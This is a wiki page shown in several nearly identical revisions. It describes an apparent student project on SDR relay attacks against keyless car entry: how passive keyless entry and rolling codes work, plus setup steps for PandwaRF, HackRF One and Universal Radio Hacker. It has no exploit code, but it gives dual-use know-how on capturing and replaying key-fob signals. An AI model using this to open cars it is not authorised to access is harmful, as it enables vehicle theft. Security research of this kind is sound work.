[[Category:Documentation]]

Software-defined radio (SDR): Relay Attacks

2022-07-14T08:51:35Z

AAmmann: /* Pentesting with HackRF one */

== Introduction ==

We want to simulate a keyless car hacking situation. Therefore we want to interfere with a connection between a car and a car key during the unlocking process.
The key question is: How does a Passive Keyless Entry (PKE) system works? PKE communication is an electronic locking system which is mainly used for entering cars without the need of a key. The locking system uses passive components (keys) which will be activated by the car. The car constantly transmits its recognition signal, range is about 1.5-3 meters.
One of the most used systems is the so-called “keyless entry system”. Therefore, the car environment is surrounded by periodically low frequency signals about 130 kHz. If the right key is in this zone, the chip is reacting with those low frequencies and is creating an ID with ASK / FSK modulated signals.
Therefore, we got 2 possibilities:

''' 1. The car is sending a LF signal with some kind of “wake up signal”. '''
# The car is sending permanent wake up signals.
# If a “keyless entry key” is in the near of, an “Acknowledgement” is transmitted to the car.
# If the key and car fits together, an ID check is going to start.
# The car is sending an ID to the key – if it fits, the key is transmitting the right key code. If the key code fits to the one of the automotive, the car is opening.
'''2. The car sends a LF signal with a car ID. '''
# Periodically a LF signal is transmitted by the car.
# If a “keyless entry key” is nearby and the ID fits to the one of the car’s, the key transmits the right “key code”. If the key code fits, the car is going to open.

== Summary ==

This documentation is about SDR (Software defined radio) and relay attacks. This document will give you a better understanding of these definitions and how some devices in IOT can/could be attacked with SDR relay attacks. This documentations will also provides detailed information about devices we used, the setup of these devices and other requirements.

== Requirements ==

''' Software '''
*Computer with native Kali-Linux installed.
*License for PandwaRF.
*PandwaRF App for Android. (Must be a device with latest Android version installed)
*Universal Radio Hacker

== Description ==

===Rolling Codes vs. Fixed Codes===

Remote controls send a digital code word to the receiver. If the receiver considers the code as correct, the sender will do the stuff which it is programmed for. For example: opening a door, closing, blocking, holding or locking etc. Simple remote controls use fixed code word. That means the code word which opens the a door today, would open the door some time in the future with the same code word. An attacker who has the right device to capture a code, could easily capture the simple code and send it sometime later to open the door. Some safer systems would use so called "Rolling codes". With rolling codes, hacker would be able to capture a signal, but to retransmit these signal, he need to know the algorithm behind the rolling code in order to open the door because the captured code is used already and therefore deleted in the code algorithm. The rolling code system uses an encryption method which allows the sender and the receiver to use share codewords in to make it harder for the attacker to steal the code.

=== Pentesting with PandwaRF ===

''' Step 1 '''

#Install the application on your Android Phone.
#Open the Device.
#Install the antennas. (Never use a SDR Device without antennas.)
#Connect the PandwaRF via USB-C to your phone.
#Open the application.

''' Step 2 '''

#The device should have connected with your application. If not, do it manually in the search tab.
#After the device has connected, you can use the spectrum analyser to analyse the frequency which the device captures. If you want to get your desired signal, you need to choose your frequency.
#At the Rx/Tx tab you can scan you signal which you try to capture. It is even possible to auto detect a signal which is sent.The pandwaRF will give you the captured signal in hex or in Binary which you can afterwards analyze.
#In order to transmit a captured signal, you need to buy a "Kaiju License". Kaiju is an online tool where you can analyze rolling code and generate those. Kaiju is mainly used to attack systems which use rolling code.

Side Note: You won´t be able to use PandwaRF to open your car. After long researches and communication with the manufacturer, the car opener function is only allowed for the goverment or law enforcement.

=== Pentesting with HackRF one ===

''' Step 1 '''

#Set up a laptop with native kali linux
#If you want dual boot on your local machine use these instructions

* Dualboot on windows machine

#You need a USB stick with a minimum of 8gb storage
#Download Kali image from official website https://www.kali.org/docs/development/live-build-a-custom-kali-iso/
#Download e.g. Etcher to flash the image on the USB stick to make it bootable https://www.balena.io/etcher/
#On the computer enter BIOS and change the BIOS-Mode to Legacy instead of Secure Boot (if secure boot is enabled). Secure boot prevents booting from external device! Then change the BIOS-Priority to “USB” first.
#For further information follow the instructions on the official website https://www.kali.org/docs/usb/live-usb-install-with-linux/

''' Step 2 '''
* Driver Installation on HackRF One
#Download Zadig https://zadig.akeo.ie/
#Only compatible with Windows

* Set-up HackRF on Linux
# Sudo apt-get update
# Sudo apt-get -y install hackrf

Download Universal Radio Hacker on Linux machine
* First method
# Sudo python3 -m pip install –upgrade pip
# Sudo python3 -m pip install urh
* Second method
# Sudo apt -y install urh
* Third method
# git clone https://github.com/jopohl/urh
# cd urh
# python setup.py install
* Start Universal Radio Hacker with the command “urh”
# Choose HackRF
# Enter the frequency

=== Nesdr Smart – receive only ===

''' Step 1 '''

Install the driver with zadig (detailed information in the HackRF One section)

''' Step 2 '''

Enter the RTL-SDR the “Device” option of the device settings and the frequency and you are ready to receive signals!

== Used Hardware ==

* HackRF One
* PandwaRF
* Nooelec SDR

== Conclusion ==
We were able to receive signals with all three Software defined radios. However, HackRF One was the only device which allowed us to transmit signals too. It should be possible to transmit signal with PandwaRF as well (Only for Garage Openers), but we struggled with the Kaiju license, which is necessary for the transmission process. Therefore, we were able to achieve our project goals with the HackRF One.

== References ==

* https://www.youtube.com/watch?v=5CsD8I396wo&t=327s
* https://www.essentracomponents.com/en-gb/news/product-resources/explaining-remote-keyless-entry-in-cars
* https://en.wikipedia.org/wiki/Rolling_code#:~:text=A%20rolling%20code%20(or%20sometimes,and%20keyless%20car%20entry%20systems
* https://www.youtube.com/watch?v=XrRGDQ2IzDE
* https://en.wikipedia.org/wiki/Remote_keyless_system
* https://sectigo.com/resource-library/why-automotive-key-fob-encryption-hacks-are-making-headlines
* https://rolling.pandwarf.com/
* https://www.offensive-wireless.com/how-to-install-universal-radio-hacker/
* https://installati.one/ubuntu/20.04/hackrf/
* https://zadig.akeo.ie/
* https://www.kali.org/docs/usb/live-usb-install-with-linux/
* https://www.balena.io/etcher/
* https://www.kali.org/docs/introduction/download-official-kali-linux-images/

[[Category:Documentation]]

Software-defined radio (SDR): Relay Attacks

2022-07-14T08:50:18Z

AAmmann: /* Description */

== Introduction ==

We want to simulate a keyless car hacking situation. Therefore we want to interfere with a connection between a car and a car key during the unlocking process.
The key question is: How does a Passive Keyless Entry (PKE) system works? PKE communication is an electronic locking system which is mainly used for entering cars without the need of a key. The locking system uses passive components (keys) which will be activated by the car. The car constantly transmits its recognition signal, range is about 1.5-3 meters.
One of the most used systems is the so-called “keyless entry system”. Therefore, the car environment is surrounded by periodically low frequency signals about 130 kHz. If the right key is in this zone, the chip is reacting with those low frequencies and is creating an ID with ASK / FSK modulated signals.
Therefore, we got 2 possibilities:

''' 1. The car is sending a LF signal with some kind of “wake up signal”. '''
# The car is sending permanent wake up signals.
# If a “keyless entry key” is in the near of, an “Acknowledgement” is transmitted to the car.
# If the key and car fits together, an ID check is going to start.
# The car is sending an ID to the key – if it fits, the key is transmitting the right key code. If the key code fits to the one of the automotive, the car is opening.
'''2. The car sends a LF signal with a car ID. '''
# Periodically a LF signal is transmitted by the car.
# If a “keyless entry key” is nearby and the ID fits to the one of the car’s, the key transmits the right “key code”. If the key code fits, the car is going to open.

== Summary ==

This documentation is about SDR (Software defined radio) and relay attacks. This document will give you a better understanding of these definitions and how some devices in IOT can/could be attacked with SDR relay attacks. This documentations will also provides detailed information about devices we used, the setup of these devices and other requirements.

== Requirements ==

''' Software '''
*Computer with native Kali-Linux installed.
*License for PandwaRF.
*PandwaRF App for Android. (Must be a device with latest Android version installed)
*Universal Radio Hacker

== Description ==

===Rolling Codes vs. Fixed Codes===

Remote controls send a digital code word to the receiver. If the receiver considers the code as correct, the sender will do the stuff which it is programmed for. For example: opening a door, closing, blocking, holding or locking etc. Simple remote controls use fixed code word. That means the code word which opens the a door today, would open the door some time in the future with the same code word. An attacker who has the right device to capture a code, could easily capture the simple code and send it sometime later to open the door. Some safer systems would use so called "Rolling codes". With rolling codes, hacker would be able to capture a signal, but to retransmit these signal, he need to know the algorithm behind the rolling code in order to open the door because the captured code is used already and therefore deleted in the code algorithm. The rolling code system uses an encryption method which allows the sender and the receiver to use share codewords in to make it harder for the attacker to steal the code.

=== Pentesting with PandwaRF ===

''' Step 1 '''

#Install the application on your Android Phone.
#Open the Device.
#Install the antennas. (Never use a SDR Device without antennas.)
#Connect the PandwaRF via USB-C to your phone.
#Open the application.

''' Step 2 '''

#The device should have connected with your application. If not, do it manually in the search tab.
#After the device has connected, you can use the spectrum analyser to analyse the frequency which the device captures. If you want to get your desired signal, you need to choose your frequency.
#At the Rx/Tx tab you can scan you signal which you try to capture. It is even possible to auto detect a signal which is sent.The pandwaRF will give you the captured signal in hex or in Binary which you can afterwards analyze.
#In order to transmit a captured signal, you need to buy a "Kaiju License". Kaiju is an online tool where you can analyze rolling code and generate those. Kaiju is mainly used to attack systems which use rolling code.

Side Note: You won´t be able to use PandwaRF to open your car. After long researches and communication with the manufacturer, the car opener function is only allowed for the goverment or law enforcement.

=== Pentesting with HackRF one ===

''' Step 1 '''

#Set up a laptop with native kali linux
#If you want dual boot on your local machine use these instructions

* Dualboot on windows machine

#You need a USB stick with a minimum of 8gb storage
#Download Kali image from official website https://www.kali.org/docs/development/live-build-a-custom-kali-iso/
#Download e.g. Etcher to flash the image on the USB stick to make it bootable https://www.balena.io/etcher/
#On the computer enter BIOS and change the BIOS-Mode to Legacy instead of Secure Boot (if secure boot is enabled). Secure boot prevents booting from external device! Then change the BIOS-Priority to “USB” first.
#For further information follow the instructions on the official website https://www.kali.org/docs/usb/live-usb-install-with-linux/

''' Step 2 '''
** Driver Installation on HackRF One
#Download Zadig https://zadig.akeo.ie/
#Only compatible with Windows

* Set-up HackRF on Linux
# Sudo apt-get update
# Sudo apt-get -y install hackrf

Download Universal Radio Hacker on Linux machine
* First method
# Sudo python3 -m pip install –upgrade pip
# Sudo python3 -m pip install urh
* Second method
# Sudo apt -y install urh
* Third method
# git clone https://github.com/jopohl/urh
# cd urh
# python setup.py install
* Start Universal Radio Hacker with the command “urh”
# Choose HackRF
# Enter the frequency

=== Nesdr Smart – receive only ===

''' Step 1 '''

Install the driver with zadig (detailed information in the HackRF One section)

''' Step 2 '''

Enter the RTL-SDR the “Device” option of the device settings and the frequency and you are ready to receive signals!

== Used Hardware ==

* HackRF One
* PandwaRF
* Nooelec SDR

== Conclusion ==
We were able to receive signals with all three Software defined radios. However, HackRF One was the only device which allowed us to transmit signals too. It should be possible to transmit signal with PandwaRF as well (Only for Garage Openers), but we struggled with the Kaiju license, which is necessary for the transmission process. Therefore, we were able to achieve our project goals with the HackRF One.

== References ==

* https://www.youtube.com/watch?v=5CsD8I396wo&t=327s
* https://www.essentracomponents.com/en-gb/news/product-resources/explaining-remote-keyless-entry-in-cars
* https://en.wikipedia.org/wiki/Rolling_code#:~:text=A%20rolling%20code%20(or%20sometimes,and%20keyless%20car%20entry%20systems
* https://www.youtube.com/watch?v=XrRGDQ2IzDE
* https://en.wikipedia.org/wiki/Remote_keyless_system
* https://sectigo.com/resource-library/why-automotive-key-fob-encryption-hacks-are-making-headlines
* https://rolling.pandwarf.com/
* https://www.offensive-wireless.com/how-to-install-universal-radio-hacker/
* https://installati.one/ubuntu/20.04/hackrf/
* https://zadig.akeo.ie/
* https://www.kali.org/docs/usb/live-usb-install-with-linux/
* https://www.balena.io/etcher/
* https://www.kali.org/docs/introduction/download-official-kali-linux-images/

[[Category:Documentation]]

Software-defined radio (SDR): Relay Attacks

2022-07-14T08:42:59Z

AAmmann: /* Pentesting with PandwaRF */

== Introduction ==

We want to simulate a keyless car hacking situation. Therefore we want to interfere with a connection between a car and a car key during the unlocking process.
The key question is: How does a Passive Keyless Entry (PKE) system works? PKE communication is an electronic locking system which is mainly used for entering cars without the need of a key. The locking system uses passive components (keys) which will be activated by the car. The car constantly transmits its recognition signal, range is about 1.5-3 meters.
One of the most used systems is the so-called “keyless entry system”. Therefore, the car environment is surrounded by periodically low frequency signals about 130 kHz. If the right key is in this zone, the chip is reacting with those low frequencies and is creating an ID with ASK / FSK modulated signals.
Therefore, we got 2 possibilities:

''' 1. The car is sending a LF signal with some kind of “wake up signal”. '''
# The car is sending permanent wake up signals.
# If a “keyless entry key” is in the near of, an “Acknowledgement” is transmitted to the car.
# If the key and car fits together, an ID check is going to start.
# The car is sending an ID to the key – if it fits, the key is transmitting the right key code. If the key code fits to the one of the automotive, the car is opening.
'''2. The car sends a LF signal with a car ID. '''
# Periodically a LF signal is transmitted by the car.
# If a “keyless entry key” is nearby and the ID fits to the one of the car’s, the key transmits the right “key code”. If the key code fits, the car is going to open.

== Summary ==

This documentation is about SDR (Software defined radio) and relay attacks. This document will give you a better understanding of these definitions and how some devices in IOT can/could be attacked with SDR relay attacks. This documentations will also provides detailed information about devices we used, the setup of these devices and other requirements.

== Requirements ==

''' Software '''
*Computer with native Kali-Linux installed.
*License for PandwaRF.
*PandwaRF App for Android. (Must be a device with latest Android version installed)
*Universal Radio Hacker

== Description ==

=== Pentesting with PandwaRF ===

''' Step 1 '''

#Install the application on your Android Phone.
#Open the Device.
#Install the antennas. (Never use a SDR Device without antennas.)
#Connect the PandwaRF via USB-C to your phone.
#Open the application.

''' Step 2 '''

#The device should have connected with your application. If not, do it manually in the search tab.
#After the device has connected, you can use the spectrum analyser to analyse the frequency which the device captures. If you want to get your desired signal, you need to choose your frequency.
#At the Rx/Tx tab you can scan you signal which you try to capture. It is even possible to auto detect a signal which is sent.The pandwaRF will give you the captured signal in hex or in Binary which you can afterwards analyze.
#In order to transmit a captured signal, you need to buy a "Kaiju License". Kaiju is an online tool where you can analyze rolling code and generate those. Kaiju is mainly used to attack systems which use rolling code.

Side Note: You won´t be able to use PandwaRF to open your car. After long researches and communication with the manufacturer, the car opener function is only allowed for the goverment or law enforcement.

=== Pentesting with HackRF one ===

''' Step 1 '''

#Set up a laptop with native kali linux
#If you want dual boot on your local machine use these instructions

* Dualboot on windows machine

#You need a USB stick with a minimum of 8gb storage
#Download Kali image from official website https://www.kali.org/docs/development/live-build-a-custom-kali-iso/
#Download e.g. Etcher to flash the image on the USB stick to make it bootable https://www.balena.io/etcher/
#On the computer enter BIOS and change the BIOS-Mode to Legacy instead of Secure Boot (if secure boot is enabled). Secure boot prevents booting from external device! Then change the BIOS-Priority to “USB” first.
#For further information follow the instructions on the official website https://www.kali.org/docs/usb/live-usb-install-with-linux/

''' Step 2 '''
** Driver Installation on HackRF One
#Download Zadig https://zadig.akeo.ie/
#Only compatible with Windows

* Set-up HackRF on Linux
# Sudo apt-get update
# Sudo apt-get -y install hackrf

Download Universal Radio Hacker on Linux machine
* First method
# Sudo python3 -m pip install –upgrade pip
# Sudo python3 -m pip install urh
* Second method
# Sudo apt -y install urh
* Third method
# git clone https://github.com/jopohl/urh
# cd urh
# python setup.py install
* Start Universal Radio Hacker with the command “urh”
# Choose HackRF
# Enter the frequency

=== Nesdr Smart – receive only ===

''' Step 1 '''

Install the driver with zadig (detailed information in the HackRF One section)

''' Step 2 '''

Enter the RTL-SDR the “Device” option of the device settings and the frequency and you are ready to receive signals!

== Used Hardware ==

* HackRF One
* PandwaRF
* Nooelec SDR

== Conclusion ==
We were able to receive signals with all three Software defined radios. However, HackRF One was the only device which allowed us to transmit signals too. It should be possible to transmit signal with PandwaRF as well (Only for Garage Openers), but we struggled with the Kaiju license, which is necessary for the transmission process. Therefore, we were able to achieve our project goals with the HackRF One.

== References ==

* https://www.youtube.com/watch?v=5CsD8I396wo&t=327s
* https://www.essentracomponents.com/en-gb/news/product-resources/explaining-remote-keyless-entry-in-cars
* https://en.wikipedia.org/wiki/Rolling_code#:~:text=A%20rolling%20code%20(or%20sometimes,and%20keyless%20car%20entry%20systems
* https://www.youtube.com/watch?v=XrRGDQ2IzDE
* https://en.wikipedia.org/wiki/Remote_keyless_system
* https://sectigo.com/resource-library/why-automotive-key-fob-encryption-hacks-are-making-headlines
* https://rolling.pandwarf.com/
* https://www.offensive-wireless.com/how-to-install-universal-radio-hacker/
* https://installati.one/ubuntu/20.04/hackrf/
* https://zadig.akeo.ie/
* https://www.kali.org/docs/usb/live-usb-install-with-linux/
* https://www.balena.io/etcher/
* https://www.kali.org/docs/introduction/download-official-kali-linux-images/

[[Category:Documentation]]

Software-defined radio (SDR): Relay Attacks

2022-07-14T08:42:03Z

AAmmann: /* Pentesting with PandwaRF */

== Introduction ==

We want to simulate a keyless car hacking situation. Therefore we want to interfere with a connection between a car and a car key during the unlocking process.
The key question is: How does a Passive Keyless Entry (PKE) system works? PKE communication is an electronic locking system which is mainly used for entering cars without the need of a key. The locking system uses passive components (keys) which will be activated by the car. The car constantly transmits its recognition signal, range is about 1.5-3 meters.
One of the most used systems is the so-called “keyless entry system”. Therefore, the car environment is surrounded by periodically low frequency signals about 130 kHz. If the right key is in this zone, the chip is reacting with those low frequencies and is creating an ID with ASK / FSK modulated signals.
Therefore, we got 2 possibilities:

''' 1. The car is sending a LF signal with some kind of “wake up signal”. '''
# The car is sending permanent wake up signals.
# If a “keyless entry key” is in the near of, an “Acknowledgement” is transmitted to the car.
# If the key and car fits together, an ID check is going to start.
# The car is sending an ID to the key – if it fits, the key is transmitting the right key code. If the key code fits to the one of the automotive, the car is opening.
'''2. The car sends a LF signal with a car ID. '''
# Periodically a LF signal is transmitted by the car.
# If a “keyless entry key” is nearby and the ID fits to the one of the car’s, the key transmits the right “key code”. If the key code fits, the car is going to open.

== Summary ==

This documentation is about SDR (Software defined radio) and relay attacks. This document will give you a better understanding of these definitions and how some devices in IOT can/could be attacked with SDR relay attacks. This documentations will also provides detailed information about devices we used, the setup of these devices and other requirements.

== Requirements ==

''' Software '''
*Computer with native Kali-Linux installed.
*License for PandwaRF.
*PandwaRF App for Android. (Must be a device with latest Android version installed)
*Universal Radio Hacker

== Description ==

=== Pentesting with PandwaRF ===

''' Step 1 '''

#Install the application on your Android Phone.
#Open the Device.
#Install the antennas. (Never use a SDR Device without antennas.)
#Connect the PandwaRF via USB-C to your phone.
#Open the application.

''' Step 2 '''

#The device should have connected with your application. If not, do it manually in the search tab.
#After the device has connected, you can use the spectrum analyser to analyse the frequency which the device captures. If you want to get your desired signal, you need to choose your frequency.
#At the Rx/Tx tab you can scan you signal which you try to capture. It is even possible to auto detect a signal which is sent.The pandwaRF will give you the captured signal in hex or in Binary which you can afterwards analyze.
#In order to transmit a captured signal, you need to buy a "Kaiju License". Kaiju is an online tool where you can analyze rolling code and generate those. Kaiju is mainly used to attack systems which use rolling code.

Side Note: You won´t be able to use PandwaRF to open your car. After long researches and communication with the manufacturer, the car opener function is only allowed for the goverment or law enforcement.

=== Pentesting with HackRF one ===

''' Step 1 '''

#Set up a laptop with native kali linux
#If you want dual boot on your local machine use these instructions

* Dualboot on windows machine

#You need a USB stick with a minimum of 8gb storage
#Download Kali image from official website https://www.kali.org/docs/development/live-build-a-custom-kali-iso/
#Download e.g. Etcher to flash the image on the USB stick to make it bootable https://www.balena.io/etcher/
#On the computer enter BIOS and change the BIOS-Mode to Legacy instead of Secure Boot (if secure boot is enabled). Secure boot prevents booting from external device! Then change the BIOS-Priority to “USB” first.
#For further information follow the instructions on the official website https://www.kali.org/docs/usb/live-usb-install-with-linux/

''' Step 2 '''
** Driver Installation on HackRF One
#Download Zadig https://zadig.akeo.ie/
#Only compatible with Windows

* Set-up HackRF on Linux
# Sudo apt-get update
# Sudo apt-get -y install hackrf

Download Universal Radio Hacker on Linux machine
* First method
# Sudo python3 -m pip install –upgrade pip
# Sudo python3 -m pip install urh
* Second method
# Sudo apt -y install urh
* Third method
# git clone https://github.com/jopohl/urh
# cd urh
# python setup.py install
* Start Universal Radio Hacker with the command “urh”
# Choose HackRF
# Enter the frequency

=== Nesdr Smart – receive only ===

''' Step 1 '''

Install the driver with zadig (detailed information in the HackRF One section)

''' Step 2 '''

Enter the RTL-SDR the “Device” option of the device settings and the frequency and you are ready to receive signals!

== Used Hardware ==

* HackRF One
* PandwaRF
* Nooelec SDR

== Conclusion ==
We were able to receive signals with all three Software defined radios. However, HackRF One was the only device which allowed us to transmit signals too. It should be possible to transmit signal with PandwaRF as well (Only for Garage Openers), but we struggled with the Kaiju license, which is necessary for the transmission process. Therefore, we were able to achieve our project goals with the HackRF One.

== References ==

* https://www.youtube.com/watch?v=5CsD8I396wo&t=327s
* https://www.essentracomponents.com/en-gb/news/product-resources/explaining-remote-keyless-entry-in-cars
* https://en.wikipedia.org/wiki/Rolling_code#:~:text=A%20rolling%20code%20(or%20sometimes,and%20keyless%20car%20entry%20systems
* https://www.youtube.com/watch?v=XrRGDQ2IzDE
* https://en.wikipedia.org/wiki/Remote_keyless_system
* https://sectigo.com/resource-library/why-automotive-key-fob-encryption-hacks-are-making-headlines
* https://rolling.pandwarf.com/
* https://www.offensive-wireless.com/how-to-install-universal-radio-hacker/
* https://installati.one/ubuntu/20.04/hackrf/
* https://zadig.akeo.ie/
* https://www.kali.org/docs/usb/live-usb-install-with-linux/
* https://www.balena.io/etcher/
* https://www.kali.org/docs/introduction/download-official-kali-linux-images/

[[Category:Documentation]]

Software-defined radio (SDR): Relay Attacks

2022-07-14T08:40:00Z

AAmmann: /* Conclusion */

== Introduction ==

We want to simulate a keyless car hacking situation. Therefore we want to interfere with a connection between a car and a car key during the unlocking process.
The key question is: How does a Passive Keyless Entry (PKE) system works? PKE communication is an electronic locking system which is mainly used for entering cars without the need of a key. The locking system uses passive components (keys) which will be activated by the car. The car constantly transmits its recognition signal, range is about 1.5-3 meters.
One of the most used systems is the so-called “keyless entry system”. Therefore, the car environment is surrounded by periodically low frequency signals about 130 kHz. If the right key is in this zone, the chip is reacting with those low frequencies and is creating an ID with ASK / FSK modulated signals.
Therefore, we got 2 possibilities:

''' 1. The car is sending a LF signal with some kind of “wake up signal”. '''
# The car is sending permanent wake up signals.
# If a “keyless entry key” is in the near of, an “Acknowledgement” is transmitted to the car.
# If the key and car fits together, an ID check is going to start.
# The car is sending an ID to the key – if it fits, the key is transmitting the right key code. If the key code fits to the one of the automotive, the car is opening.
'''2. The car sends a LF signal with a car ID. '''
# Periodically a LF signal is transmitted by the car.
# If a “keyless entry key” is nearby and the ID fits to the one of the car’s, the key transmits the right “key code”. If the key code fits, the car is going to open.

== Summary ==

This documentation is about SDR (Software defined radio) and relay attacks. This document will give you a better understanding of these definitions and how some devices in IOT can/could be attacked with SDR relay attacks. This documentations will also provides detailed information about devices we used, the setup of these devices and other requirements.

== Requirements ==

''' Software '''
*Computer with native Kali-Linux installed.
*License for PandwaRF.
*PandwaRF App for Android. (Must be a device with latest Android version installed)
*Universal Radio Hacker

== Description ==

=== Pentesting with PandwaRF ===

''' Step 1 '''

#Install the application on your Android Phone.
#Open the Device.
#Install the antennas. (Never use a SDR Device without antennas.)
#Connect the PandwaRF via USB-C to your phone.
#Open the application.

''' Step 2 '''

#The device should have connected with your application. If not, do it manually in the search tab.
#After the device has connected, you can use the spectrum analyser to analyse the frequency which the device captures. If you want to get your desired signal, you need to choose your frequency.
#At the Rx/Tx tab you can scan you signal which you try to capture. It is even possible to auto detect a signal which is sent.The pandwaRF will give you the captured signal in hex or in Binary which you can afterwards analyze.
#In order to transmit a captured signal, you need to buy a "Kaiju License". Kaiju is an online tool where you can analyze rolling code and generate those. Kaiju is mainly used to attack systems which use rolling code.

=== Pentesting with HackRF one ===

''' Step 1 '''

#Set up a laptop with native kali linux
#If you want dual boot on your local machine use these instructions

* Dualboot on windows machine

#You need a USB stick with a minimum of 8gb storage
#Download Kali image from official website https://www.kali.org/docs/development/live-build-a-custom-kali-iso/
#Download e.g. Etcher to flash the image on the USB stick to make it bootable https://www.balena.io/etcher/
#On the computer enter BIOS and change the BIOS-Mode to Legacy instead of Secure Boot (if secure boot is enabled). Secure boot prevents booting from external device! Then change the BIOS-Priority to “USB” first.
#For further information follow the instructions on the official website https://www.kali.org/docs/usb/live-usb-install-with-linux/

''' Step 2 '''
** Driver Installation on HackRF One
#Download Zadig https://zadig.akeo.ie/
#Only compatible with Windows

* Set-up HackRF on Linux
# Sudo apt-get update
# Sudo apt-get -y install hackrf

Download Universal Radio Hacker on Linux machine
* First method
# Sudo python3 -m pip install –upgrade pip
# Sudo python3 -m pip install urh
* Second method
# Sudo apt -y install urh
* Third method
# git clone https://github.com/jopohl/urh
# cd urh
# python setup.py install
* Start Universal Radio Hacker with the command “urh”
# Choose HackRF
# Enter the frequency

=== Nesdr Smart – receive only ===

''' Step 1 '''

Install the driver with zadig (detailed information in the HackRF One section)

''' Step 2 '''

Enter the RTL-SDR the “Device” option of the device settings and the frequency and you are ready to receive signals!

== Used Hardware ==

* HackRF One
* PandwaRF
* Nooelec SDR

== Conclusion ==
We were able to receive signals with all three Software defined radios. However, HackRF One was the only device which allowed us to transmit signals too. It should be possible to transmit signal with PandwaRF as well (Only for Garage Openers), but we struggled with the Kaiju license, which is necessary for the transmission process. Therefore, we were able to achieve our project goals with the HackRF One.

== References ==

* https://www.youtube.com/watch?v=5CsD8I396wo&t=327s
* https://www.essentracomponents.com/en-gb/news/product-resources/explaining-remote-keyless-entry-in-cars
* https://en.wikipedia.org/wiki/Rolling_code#:~:text=A%20rolling%20code%20(or%20sometimes,and%20keyless%20car%20entry%20systems
* https://www.youtube.com/watch?v=XrRGDQ2IzDE
* https://en.wikipedia.org/wiki/Remote_keyless_system
* https://sectigo.com/resource-library/why-automotive-key-fob-encryption-hacks-are-making-headlines
* https://rolling.pandwarf.com/
* https://www.offensive-wireless.com/how-to-install-universal-radio-hacker/
* https://installati.one/ubuntu/20.04/hackrf/
* https://zadig.akeo.ie/
* https://www.kali.org/docs/usb/live-usb-install-with-linux/
* https://www.balena.io/etcher/
* https://www.kali.org/docs/introduction/download-official-kali-linux-images/

[[Category:Documentation]]

Software-defined radio (SDR): Relay Attacks

2022-07-14T08:35:58Z

AAmmann: /* Requirements */

== Introduction ==

We want to simulate a keyless car hacking situation. Therefore we want to interfere with a connection between a car and a car key during the unlocking process.
The key question is: How does a Passive Keyless Entry (PKE) system works? PKE communication is an electronic locking system which is mainly used for entering cars without the need of a key. The locking system uses passive components (keys) which will be activated by the car. The car constantly transmits its recognition signal, range is about 1.5-3 meters.
One of the most used systems is the so-called “keyless entry system”. Therefore, the car environment is surrounded by periodically low frequency signals about 130 kHz. If the right key is in this zone, the chip is reacting with those low frequencies and is creating an ID with ASK / FSK modulated signals.
Therefore, we got 2 possibilities:

''' 1. The car is sending a LF signal with some kind of “wake up signal”. '''
# The car is sending permanent wake up signals.
# If a “keyless entry key” is in the near of, an “Acknowledgement” is transmitted to the car.
# If the key and car fits together, an ID check is going to start.
# The car is sending an ID to the key – if it fits, the key is transmitting the right key code. If the key code fits to the one of the automotive, the car is opening.
'''2. The car sends a LF signal with a car ID. '''
# Periodically a LF signal is transmitted by the car.
# If a “keyless entry key” is nearby and the ID fits to the one of the car’s, the key transmits the right “key code”. If the key code fits, the car is going to open.

== Summary ==

This documentation is about SDR (Software defined radio) and relay attacks. This document will give you a better understanding of these definitions and how some devices in IOT can/could be attacked with SDR relay attacks. This documentations will also provides detailed information about devices we used, the setup of these devices and other requirements.

== Requirements ==

''' Software '''
*Computer with native Kali-Linux installed.
*License for PandwaRF.
*PandwaRF App for Android. (Must be a device with latest Android version installed)
*Universal Radio Hacker

== Description ==

=== Pentesting with PandwaRF ===

''' Step 1 '''

#Install the application on your Android Phone.
#Open the Device.
#Install the antennas. (Never use a SDR Device without antennas.)
#Connect the PandwaRF via USB-C to your phone.
#Open the application.

''' Step 2 '''

#The device should have connected with your application. If not, do it manually in the search tab.
#After the device has connected, you can use the spectrum analyser to analyse the frequency which the device captures. If you want to get your desired signal, you need to choose your frequency.
#At the Rx/Tx tab you can scan you signal which you try to capture. It is even possible to auto detect a signal which is sent.The pandwaRF will give you the captured signal in hex or in Binary which you can afterwards analyze.
#In order to transmit a captured signal, you need to buy a "Kaiju License". Kaiju is an online tool where you can analyze rolling code and generate those. Kaiju is mainly used to attack systems which use rolling code.

=== Pentesting with HackRF one ===

''' Step 1 '''

#Set up a laptop with native kali linux
#If you want dual boot on your local machine use these instructions

* Dualboot on windows machine

#You need a USB stick with a minimum of 8gb storage
#Download Kali image from official website https://www.kali.org/docs/development/live-build-a-custom-kali-iso/
#Download e.g. Etcher to flash the image on the USB stick to make it bootable https://www.balena.io/etcher/
#On the computer enter BIOS and change the BIOS-Mode to Legacy instead of Secure Boot (if secure boot is enabled). Secure boot prevents booting from external device! Then change the BIOS-Priority to “USB” first.
#For further information follow the instructions on the official website https://www.kali.org/docs/usb/live-usb-install-with-linux/

''' Step 2 '''
** Driver Installation on HackRF One
#Download Zadig https://zadig.akeo.ie/
#Only compatible with Windows

* Set-up HackRF on Linux
# Sudo apt-get update
# Sudo apt-get -y install hackrf

Download Universal Radio Hacker on Linux machine
* First method
# Sudo python3 -m pip install –upgrade pip
# Sudo python3 -m pip install urh
* Second method
# Sudo apt -y install urh
* Third method
# git clone https://github.com/jopohl/urh
# cd urh
# python setup.py install
* Start Universal Radio Hacker with the command “urh”
# Choose HackRF
# Enter the frequency

=== Nesdr Smart – receive only ===

''' Step 1 '''

Install the driver with zadig (detailed information in the HackRF One section)

''' Step 2 '''

Enter the RTL-SDR the “Device” option of the device settings and the frequency and you are ready to receive signals!

== Used Hardware ==

* HackRF One
* PandwaRF
* Nooelec SDR

== Conclusion ==
We were able to receive signals with all three Software defined radios. However, HackRF One was the only device which allowed us to transmit signals too. It should be possible to transmit signal with PandwaRF as well, but we struggled with the Kaiju license, which is necessary for the transmission process. Therefore, we were able to achieve our project goals with the HackRF One.

== References ==

* https://www.youtube.com/watch?v=5CsD8I396wo&t=327s
* https://www.essentracomponents.com/en-gb/news/product-resources/explaining-remote-keyless-entry-in-cars
* https://en.wikipedia.org/wiki/Rolling_code#:~:text=A%20rolling%20code%20(or%20sometimes,and%20keyless%20car%20entry%20systems
* https://www.youtube.com/watch?v=XrRGDQ2IzDE
* https://en.wikipedia.org/wiki/Remote_keyless_system
* https://sectigo.com/resource-library/why-automotive-key-fob-encryption-hacks-are-making-headlines
* https://rolling.pandwarf.com/
* https://www.offensive-wireless.com/how-to-install-universal-radio-hacker/
* https://installati.one/ubuntu/20.04/hackrf/
* https://zadig.akeo.ie/
* https://www.kali.org/docs/usb/live-usb-install-with-linux/
